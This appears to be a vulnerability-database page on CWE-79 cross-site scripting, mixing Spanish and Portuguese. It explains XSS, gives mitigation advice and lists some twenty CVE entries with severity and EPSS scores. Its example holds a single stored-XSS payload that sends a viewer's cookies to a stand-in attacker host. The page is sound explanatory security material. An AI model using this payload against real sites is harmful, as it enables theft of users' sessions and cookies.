Fallos del tipo CWE-79

29.826 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12843MEDIUMEmlog Pro plugin.php cross site scriptingEPSS 0.4%CVE-2026-4120MEDIUMInfo Cards <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.4%CVE-2026-35576HIGHChurchCRM has Stored Cross-Site Scripting (XSS) in Person Properties via PrintView.phpEPSS 0.4%CVE-2023-23481MEDIUMIBM Sterling Partner Engagement Manager cross-site scriptingEPSS 0.4%CVE-2026-26991MEDIUMLibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups nameEPSS 0.4%CVE-2026-3516MEDIUMContact List <= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' ParameterEPSS 0.4%CVE-2023-24464MEDIUMStored-cross-site scripting vulnerability in Buffalo network devices allows an attacker with access to the web management console of the proEPSS 0.4%CVE-2024-32558HIGHWordPress eCommerce Product Catalog plugin <= 3.3.32 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-40684MEDIUMIBM Content Navigator cross-site scriptingEPSS 0.4%CVE-2024-40845MEDIUMThe issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15, macOS Sonoma 14.7. Processing a maliciously EPSS 0.4%CVE-2024-43997HIGHWordPress easy.jobs- Best Recruitment Plugin for Job Board Listing, Manager, Career Page for Elementor & Gutenberg plugin <= 2.4.14 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-26059MEDIUMAn issue was discovered in Nokia NetAct before 22 SP1037. On the Site Configuration Tool tab, attackers can upload a ZIP file which, when prEPSS 0.4%CVE-2023-22594MEDIUMIBM Robotic Process Automation for Cloud Pak cross-site scriptingEPSS 0.4%CVE-2024-1761MEDIUMWP Chat App <= 3.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.4%CVE-2022-43578MEDIUMIBM Sterling B2B Integrator Standard Edition cross-site scriptingEPSS 0.4%CVE-2025-15454LOWzhanglun lettura RSS ContentRender.tsx cross site scriptingEPSS 0.4%CVE-2023-35905MEDIUMIBM FileNet Content Manager cross-site scriptingEPSS 0.4%CVE-2024-1957MEDIUMGiveWP – Donation Plugin and Fundraising Platform <= 3.6.1 -- Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-20364MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remoEPSS 0.4%CVE-2022-42908MEDIUMWEPA Print Away is vulnerable to a stored XSS. It does not properly sanitize uploaded filenames, allowing an attacker to deceive a user intoEPSS 0.4%